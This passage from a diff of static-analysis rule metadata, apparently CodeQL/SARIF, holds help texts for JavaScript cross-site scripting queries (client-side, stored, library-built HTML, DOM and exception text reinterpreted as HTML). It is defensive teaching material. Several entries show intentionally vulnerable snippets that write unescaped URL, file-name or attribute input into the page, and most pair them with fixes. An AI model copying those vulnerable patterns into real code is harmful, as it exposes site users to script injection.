using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example shows part of the page URL being written directly to the document, leaving the website vulnerable to cross-site scripting.\n\n\n```javascript\nfunction setLanguageOptions() {\n var href = document.location.href,\n deflt = href.substring(href.indexOf(\"default=\")+8);\n document.write(\"\");\n document.write(\"\");\n}\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n" + "text" : "# Unsafe HTML constructed from library input\nWhen a library function dynamically constructs HTML in a potentially unsafe way, then it's important to document to clients of the library that the function should only be used with trusted inputs. If the function is not documented as being potentially unsafe, then a client may inadvertently use inputs containing unsafe HTML fragments, and thereby leave the client vulnerable to cross-site scripting attacks.\n\n\n## Recommendation\nDocument all library functions that can lead to cross-site scripting attacks, and guard against unsafe inputs where dynamic HTML construction is not intended.\n\n\n## Example\nThe following example has a library function that renders a boldface name by writing to the `innerHTML` property of an element.\n\n\n```javascript\nmodule.exports = function showBoldName(name) {\n document.getElementById('name').innerHTML = \"\" + name + \"\";\n}\n\n```\nThis library function, however, does not escape unsafe HTML, and a client that calls the function with user-supplied input may be vulnerable to cross-site scripting attacks.\n\nThe library could either document that this function should not be used with unsafe inputs, or use safe APIs such as `innerText`.\n\n\n```javascript\nmodule.exports = function showBoldName(name) {\n const bold = document.createElement('b');\n bold.innerText = name;\n document.getElementById('name').appendChild(bold);\n}\n\n```\nAlternatively, an HTML sanitizer can be used to remove unsafe content.\n\n\n```javascript\n\nconst striptags = require('striptags');\nmodule.exports = function showBoldName(name) {\n document.getElementById('name').innerHTML = \"\" + striptags(name) + \"\";\n}\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n", + "markdown" : "# Unsafe HTML constructed from library input\nWhen a library function dynamically constructs HTML in a potentially unsafe way, then it's important to document to clients of the library that the function should only be used with trusted inputs. If the function is not documented as being potentially unsafe, then a client may inadvertently use inputs containing unsafe HTML fragments, and thereby leave the client vulnerable to cross-site scripting attacks.\n\n\n## Recommendation\nDocument all library functions that can lead to cross-site scripting attacks, and guard against unsafe inputs where dynamic HTML construction is not intended.\n\n\n## Example\nThe following example has a library function that renders a boldface name by writing to the `innerHTML` property of an element.\n\n\n```javascript\nmodule.exports = function showBoldName(name) {\n document.getElementById('name').innerHTML = \"\" + name + \"\";\n}\n\n```\nThis library function, however, does not escape unsafe HTML, and a client that calls the function with user-supplied input may be vulnerable to cross-site scripting attacks.\n\nThe library could either document that this function should not be used with unsafe inputs, or use safe APIs such as `innerText`.\n\n\n```javascript\nmodule.exports = function showBoldName(name) {\n const bold = document.createElement('b');\n bold.innerText = name;\n document.getElementById('name').appendChild(bold);\n}\n\n```\nAlternatively, an HTML sanitizer can be used to remove unsafe content.\n\n\n```javascript\n\nconst striptags = require('striptags');\nmodule.exports = function showBoldName(name) {\n document.getElementById('name').innerHTML = \"\" + striptags(name) + \"\";\n}\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n" }, "properties" : { "tags" : [ "security", "external/cwe/cwe-079", "external/cwe/cwe-116" ], - "description" : "Writing user input directly to the DOM allows for\n a cross-site scripting vulnerability.", - "id" : "js/xss", + "description" : "Using externally controlled strings to construct HTML might allow a malicious\n user to perform a cross-site scripting attack.", + "id" : "js/html-constructed-from-input", "kind" : "path-problem", - "name" : "Client-side cross-site scripting", + "name" : "Unsafe HTML constructed from library input", "precision" : "high", "problem.severity" : "error", - "security-severity" : "7.8" + "security-severity" : "6.1" } }, { "id" : "js/reflected-xss", @@ -1056,59 +1137,113 @@ "security-severity" : "7.8" } }, { - "id" : "js/html-constructed-from-input", - "name" : "js/html-constructed-from-input", + "id" : "js/stored-xss", + "name" : "js/stored-xss", "shortDescription" : { - "text" : "Unsafe HTML constructed from library input" + "text" : "Stored cross-site scripting" }, "fullDescription" : { - "text" : "Using externally controlled strings to construct HTML might allow a malicious user to perform a cross-site scripting attack." + "text" : "Using uncontrolled stored values in HTML allows for a stored cross-site scripting vulnerability." }, "defaultConfiguration" : { "enabled" : true, "level" : "error" }, "help" : { - "text" : "# Unsafe HTML constructed from library input\nWhen a library function dynamically constructs HTML in a potentially unsafe way, then it's important to document to clients of the library that the function should only be used with trusted inputs. If the function is not documented as being potentially unsafe, then a client may inadvertently use inputs containing unsafe HTML fragments, and thereby leave the client vulnerable to cross-site scripting attacks.\n\n\n## Recommendation\nDocument all library functions that can lead to cross-site scripting attacks, and guard against unsafe inputs where dynamic HTML construction is not intended.\n\n\n## Example\nThe following example has a library function that renders a boldface name by writing to the `innerHTML` property of an element.\n\n\n```javascript\nmodule.exports = function showBoldName(name) {\n document.getElementById('name').innerHTML = \"\" + name + \"\";\n}\n\n```\nThis library function, however, does not escape unsafe HTML, and a client that calls the function with user-supplied input may be vulnerable to cross-site scripting attacks.\n\nThe library could either document that this function should not be used with unsafe inputs, or use safe APIs such as `innerText`.\n\n\n```javascript\nmodule.exports = function showBoldName(name) {\n const bold = document.createElement('b');\n bold.innerText = name;\n document.getElementById('name').appendChild(bold);\n}\n\n```\nAlternatively, an HTML sanitizer can be used to remove unsafe content.\n\n\n```javascript\n\nconst striptags = require('striptags');\nmodule.exports = function showBoldName(name) {\n document.getElementById('name').innerHTML = \"\" + striptags(name) + \"\";\n}\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n", - "markdown" : "# Unsafe HTML constructed from library input\nWhen a library function dynamically constructs HTML in a potentially unsafe way, then it's important to document to clients of the library that the function should only be used with trusted inputs. If the function is not documented as being potentially unsafe, then a client may inadvertently use inputs containing unsafe HTML fragments, and thereby leave the client vulnerable to cross-site scripting attacks.\n\n\n## Recommendation\nDocument all library functions that can lead to cross-site scripting attacks, and guard against unsafe inputs where dynamic HTML construction is not intended.\n\n\n## Example\nThe following example has a library function that renders a boldface name by writing to the `innerHTML` property of an element.\n\n\n```javascript\nmodule.exports = function showBoldName(name) {\n document.getElementById('name').innerHTML = \"\" + name + \"\";\n}\n\n```\nThis library function, however, does not escape unsafe HTML, and a client that calls the function with user-supplied input may be vulnerable to cross-site scripting attacks.\n\nThe library could either document that this function should not be used with unsafe inputs, or use safe APIs such as `innerText`.\n\n\n```javascript\nmodule.exports = function showBoldName(name) {\n const bold = document.createElement('b');\n bold.innerText = name;\n document.getElementById('name').appendChild(bold);\n}\n\n```\nAlternatively, an HTML sanitizer can be used to remove unsafe content.\n\n\n```javascript\n\nconst striptags = require('striptags');\nmodule.exports = function showBoldName(name) {\n document.getElementById('name').innerHTML = \"\" + striptags(name) + \"\";\n}\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n" + "text" : "# Stored cross-site scripting\nDirectly using uncontrolled stored value (for example, file names) to create HTML content without properly sanitizing the input first, allows for a cross-site scripting vulnerability.\n\nThis kind of vulnerability is also called *stored* cross-site scripting, to distinguish it from other types of cross-site scripting.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before using uncontrolled stored values to create HTML content, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example code writes file names directly to a HTTP response. This leaves the website vulnerable to cross-site scripting, if an attacker can choose the file names on the disk.\n\n\n```javascript\nvar express = require('express'),\n fs = require('fs');\n\nexpress().get('/list-directory', function(req, res) {\n fs.readdir('/public', function (error, fileNames) {\n var list = '
    ';\n fileNames.forEach(fileName => {\n // BAD: `fileName` can contain HTML elements\n list += '
  • ' + fileName + '
  • ';\n });\n list += '
'\n res.send(list);\n });\n});\n\n```\nSanitizing the file names prevents the vulnerability:\n\n\n```javascript\nvar express = require('express'),\n fs = require('fs'),\n escape = require('escape-html');\n\nexpress().get('/list-directory', function(req, res) {\n fs.readdir('/public', function (error, fileNames) {\n var list = '
    ';\n fileNames.forEach(fileName => {\n // GOOD: escaped `fileName` can not contain HTML elements\n list += '
  • ' + escape(fileName) + '
  • ';\n });\n list += '
'\n res.send(list);\n });\n});\n\n```\n\n## References\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n", + "markdown" : "# Stored cross-site scripting\nDirectly using uncontrolled stored value (for example, file names) to create HTML content without properly sanitizing the input first, allows for a cross-site scripting vulnerability.\n\nThis kind of vulnerability is also called *stored* cross-site scripting, to distinguish it from other types of cross-site scripting.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before using uncontrolled stored values to create HTML content, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example code writes file names directly to a HTTP response. This leaves the website vulnerable to cross-site scripting, if an attacker can choose the file names on the disk.\n\n\n```javascript\nvar express = require('express'),\n fs = require('fs');\n\nexpress().get('/list-directory', function(req, res) {\n fs.readdir('/public', function (error, fileNames) {\n var list = '
    ';\n fileNames.forEach(fileName => {\n // BAD: `fileName` can contain HTML elements\n list += '
  • ' + fileName + '
  • ';\n });\n list += '
'\n res.send(list);\n });\n});\n\n```\nSanitizing the file names prevents the vulnerability:\n\n\n```javascript\nvar express = require('express'),\n fs = require('fs'),\n escape = require('escape-html');\n\nexpress().get('/list-directory', function(req, res) {\n fs.readdir('/public', function (error, fileNames) {\n var list = '
    ';\n fileNames.forEach(fileName => {\n // GOOD: escaped `fileName` can not contain HTML elements\n list += '
  • ' + escape(fileName) + '
  • ';\n });\n list += '
'\n res.send(list);\n });\n});\n\n```\n\n## References\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n" }, "properties" : { "tags" : [ "security", "external/cwe/cwe-079", "external/cwe/cwe-116" ], - "description" : "Using externally controlled strings to construct HTML might allow a malicious\n user to perform a cross-site scripting attack.", - "id" : "js/html-constructed-from-input", + "description" : "Using uncontrolled stored values in HTML allows for\n a stored cross-site scripting vulnerability.", + "id" : "js/stored-xss", "kind" : "path-problem", - "name" : "Unsafe HTML constructed from library input", + "name" : "Stored cross-site scripting", "precision" : "high", "problem.severity" : "error", - "security-severity" : "6.1" + "security-severity" : "7.8" } }, { - "id" : "js/stored-xss", - "name" : "js/stored-xss", + "id" : "js/xss", + "name" : "js/xss", "shortDescription" : { - "text" : "Stored cross-site scripting" + "text" : "Client-side cross-site scripting" }, "fullDescription" : { - "text" : "Using uncontrolled stored values in HTML allows for a stored cross-site scripting vulnerability." + "text" : "Writing user input directly to the DOM allows for a cross-site scripting vulnerability." }, "defaultConfiguration" : { "enabled" : true, "level" : "error" }, "help" : { - "text" : "# Stored cross-site scripting\nDirectly using uncontrolled stored value (for example, file names) to create HTML content without properly sanitizing the input first, allows for a cross-site scripting vulnerability.\n\nThis kind of vulnerability is also called *stored* cross-site scripting, to distinguish it from other types of cross-site scripting.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before using uncontrolled stored values to create HTML content, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example code writes file names directly to a HTTP response. This leaves the website vulnerable to cross-site scripting, if an attacker can choose the file names on the disk.\n\n\n```javascript\nvar express = require('express'),\n fs = require('fs');\n\nexpress().get('/list-directory', function(req, res) {\n fs.readdir('/public', function (error, fileNames) {\n var list = '
    ';\n fileNames.forEach(fileName => {\n // BAD: `fileName` can contain HTML elements\n list += '
  • ' + fileName + '
  • ';\n });\n list += '
'\n res.send(list);\n });\n});\n\n```\nSanitizing the file names prevents the vulnerability:\n\n\n```javascript\nvar express = require('express'),\n fs = require('fs'),\n escape = require('escape-html');\n\nexpress().get('/list-directory', function(req, res) {\n fs.readdir('/public', function (error, fileNames) {\n var list = '
    ';\n fileNames.forEach(fileName => {\n // GOOD: escaped `fileName` can not contain HTML elements\n list += '
  • ' + escape(fileName) + '
  • ';\n });\n list += '
'\n res.send(list);\n });\n});\n\n```\n\n## References\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n", - "markdown" : "# Stored cross-site scripting\nDirectly using uncontrolled stored value (for example, file names) to create HTML content without properly sanitizing the input first, allows for a cross-site scripting vulnerability.\n\nThis kind of vulnerability is also called *stored* cross-site scripting, to distinguish it from other types of cross-site scripting.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before using uncontrolled stored values to create HTML content, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example code writes file names directly to a HTTP response. This leaves the website vulnerable to cross-site scripting, if an attacker can choose the file names on the disk.\n\n\n```javascript\nvar express = require('express'),\n fs = require('fs');\n\nexpress().get('/list-directory', function(req, res) {\n fs.readdir('/public', function (error, fileNames) {\n var list = '
    ';\n fileNames.forEach(fileName => {\n // BAD: `fileName` can contain HTML elements\n list += '
  • ' + fileName + '
  • ';\n });\n list += '
'\n res.send(list);\n });\n});\n\n```\nSanitizing the file names prevents the vulnerability:\n\n\n```javascript\nvar express = require('express'),\n fs = require('fs'),\n escape = require('escape-html');\n\nexpress().get('/list-directory', function(req, res) {\n fs.readdir('/public', function (error, fileNames) {\n var list = '
    ';\n fileNames.forEach(fileName => {\n // GOOD: escaped `fileName` can not contain HTML elements\n list += '
  • ' + escape(fileName) + '
  • ';\n });\n list += '
'\n res.send(list);\n });\n});\n\n```\n\n## References\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n" + "text" : "# Client-side cross-site scripting\nDirectly writing user input (for example, a URL query parameter) to a webpage without properly sanitizing the input first, allows for a cross-site scripting vulnerability.\n\nThis kind of vulnerability is also called *DOM-based* cross-site scripting, to distinguish it from other types of cross-site scripting.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example shows part of the page URL being written directly to the document, leaving the website vulnerable to cross-site scripting.\n\n\n```javascript\nfunction setLanguageOptions() {\n var href = document.location.href,\n deflt = href.substring(href.indexOf(\"default=\")+8);\n document.write(\"\");\n document.write(\"\");\n}\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n", + "markdown" : "# Client-side cross-site scripting\nDirectly writing user input (for example, a URL query parameter) to a webpage without properly sanitizing the input first, allows for a cross-site scripting vulnerability.\n\nThis kind of vulnerability is also called *DOM-based* cross-site scripting, to distinguish it from other types of cross-site scripting.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example shows part of the page URL being written directly to the document, leaving the website vulnerable to cross-site scripting.\n\n\n```javascript\nfunction setLanguageOptions() {\n var href = document.location.href,\n deflt = href.substring(href.indexOf(\"default=\")+8);\n document.write(\"\");\n document.write(\"\");\n}\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n" }, "properties" : { "tags" : [ "security", "external/cwe/cwe-079", "external/cwe/cwe-116" ], - "description" : "Using uncontrolled stored values in HTML allows for\n a stored cross-site scripting vulnerability.", - "id" : "js/stored-xss", + "description" : "Writing user input directly to the DOM allows for\n a cross-site scripting vulnerability.", + "id" : "js/xss", "kind" : "path-problem", - "name" : "Stored cross-site scripting", + "name" : "Client-side cross-site scripting", "precision" : "high", "problem.severity" : "error", "security-severity" : "7.8" } + }, { + "id" : "js/xss-through-dom", + "name" : "js/xss-through-dom", + "shortDescription" : { + "text" : "DOM text reinterpreted as HTML" + }, + "fullDescription" : { + "text" : "Reinterpreting text from the DOM as HTML can lead to a cross-site scripting vulnerability." + }, + "defaultConfiguration" : { + "enabled" : true, + "level" : "warning" + }, + "help" : { + "text" : "# DOM text reinterpreted as HTML\nExtracting text from a DOM node and interpreting it as HTML can lead to a cross-site scripting vulnerability.\n\nA webpage with this vulnerability reads text from the DOM, and afterwards adds the text as HTML to the DOM. Using text from the DOM as HTML effectively unescapes the text, and thereby invalidates any escaping done on the text. If an attacker is able to control the safe sanitized text, then this vulnerability can be exploited to perform a cross-site scripting attack.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing text to the page, or one of the other solutions that are mentioned in the References section below.\n\n\n## Example\nThe following example shows a webpage using a `data-target` attribute to select and manipulate a DOM element using the JQuery library. In the example, the `data-target` attribute is read into the `target` variable, and the `$` function is then supposed to use the `target` variable as a CSS selector to determine which element should be manipulated.\n\n\n```javascript\n$(\"button\").click(function () {\n var target = $(this).attr(\"data-target\");\n $(target).hide();\n});\n\n```\nHowever, if an attacker can control the `data-target` attribute, then the value of `target` can be used to cause the `$` function to execute arbitrary JavaScript.\n\nThe above vulnerability can be fixed by using `$.find` instead of `$`. The `$.find` function will only interpret `target` as a CSS selector and never as HTML, thereby preventing an XSS attack.\n\n\n```javascript\n$(\"button\").click(function () {\n var target = $(this).attr(\"data-target\");\n\t$.find(target).hide();\n});\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://owasp.org/www-community/attacks/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://owasp.org/www-community/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n", + "markdown" : "# DOM text reinterpreted as HTML\nExtracting text from a DOM node and interpreting it as HTML can lead to a cross-site scripting vulnerability.\n\nA webpage with this vulnerability reads text from the DOM, and afterwards adds the text as HTML to the DOM. Using text from the DOM as HTML effectively unescapes the text, and thereby invalidates any escaping done on the text. If an attacker is able to control the safe sanitized text, then this vulnerability can be exploited to perform a cross-site scripting attack.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing text to the page, or one of the other solutions that are mentioned in the References section below.\n\n\n## Example\nThe following example shows a webpage using a `data-target` attribute to select and manipulate a DOM element using the JQuery library. In the example, the `data-target` attribute is read into the `target` variable, and the `$` function is then supposed to use the `target` variable as a CSS selector to determine which element should be manipulated.\n\n\n```javascript\n$(\"button\").click(function () {\n var target = $(this).attr(\"data-target\");\n $(target).hide();\n});\n\n```\nHowever, if an attacker can control the `data-target` attribute, then the value of `target` can be used to cause the `$` function to execute arbitrary JavaScript.\n\nThe above vulnerability can be fixed by using `$.find` instead of `$`. The `$.find` function will only interpret `target` as a CSS selector and never as HTML, thereby preventing an XSS attack.\n\n\n```javascript\n$(\"button\").click(function () {\n var target = $(this).attr(\"data-target\");\n\t$.find(target).hide();\n});\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://owasp.org/www-community/attacks/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://owasp.org/www-community/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n" + }, + "properties" : { + "tags" : [ "security", "external/cwe/cwe-079", "external/cwe/cwe-116" ], + "description" : "Reinterpreting text from the DOM as HTML\n can lead to a cross-site scripting vulnerability.", + "id" : "js/xss-through-dom", + "kind" : "path-problem", + "name" : "DOM text reinterpreted as HTML", + "precision" : "high", + "problem.severity" : "warning", + "security-severity" : "6.1" + } + }, { + "id" : "js/xss-through-exception", + "name" : "js/xss-through-exception", + "shortDescription" : { + "text" : "Exception text reinterpreted as HTML" + }, + "fullDescription" : { + "text" : "Reinterpreting text from an exception as HTML can lead to a cross-site scripting vulnerability." + }, + "defaultConfiguration" : { + "enabled" : true, + "level" : "warning" + }, + "help" : { + "text" : "# Exception text reinterpreted as HTML\nDirectly writing error messages to a webpage without sanitization allows for a cross-site scripting vulnerability if parts of the error message can be influenced by a user.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example shows an exception being written directly to the document, and this exception can potentially be influenced by the page URL, leaving the website vulnerable to cross-site scripting.\n\n\n```javascript\nfunction setLanguageOptions() {\n var href = document.location.href,\n deflt = href.substring(href.indexOf(\"default=\")+8);\n \n try {\n var parsed = unknownParseFunction(deflt); \n } catch(e) {\n document.write(\"Had an error: \" + e + \".\");\n }\n}\n\n```\n\n## Example\nThis second example shows an input being validated using the JSON schema validator `ajv`, and in case of an error, the error message is sent directly back in the response.\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet app = express();\nlet ajv = new Ajv();\n\najv.addSchema({type: 'object', additionalProperties: {type: 'number'}}, 'pollData');\n\napp.post('/polldata', (req, res) => {\n if (!ajv.validate('pollData', req.body)) {\n res.send(ajv.errorsText());\n }\n});\n\n```\nThis is unsafe, because the error message can contain parts of the input. For example, the input `{'': 'foo'}` will generate the error `data/ should be number`, causing reflected XSS.\n\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n", + "markdown" : "# Exception text reinterpreted as HTML\nDirectly writing error messages to a webpage without sanitization allows for a cross-site scripting vulnerability if parts of the error message can be influenced by a user.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example shows an exception being written directly to the document, and this exception can potentially be influenced by the page URL, leaving the website vulnerable to cross-site scripting.\n\n\n```javascript\nfunction setLanguageOptions() {\n var href = document.location.href,\n deflt = href.substring(href.indexOf(\"default=\")+8);\n \n try {\n var parsed = unknownParseFunction(deflt); \n } catch(e) {\n document.write(\"Had an error: \" + e + 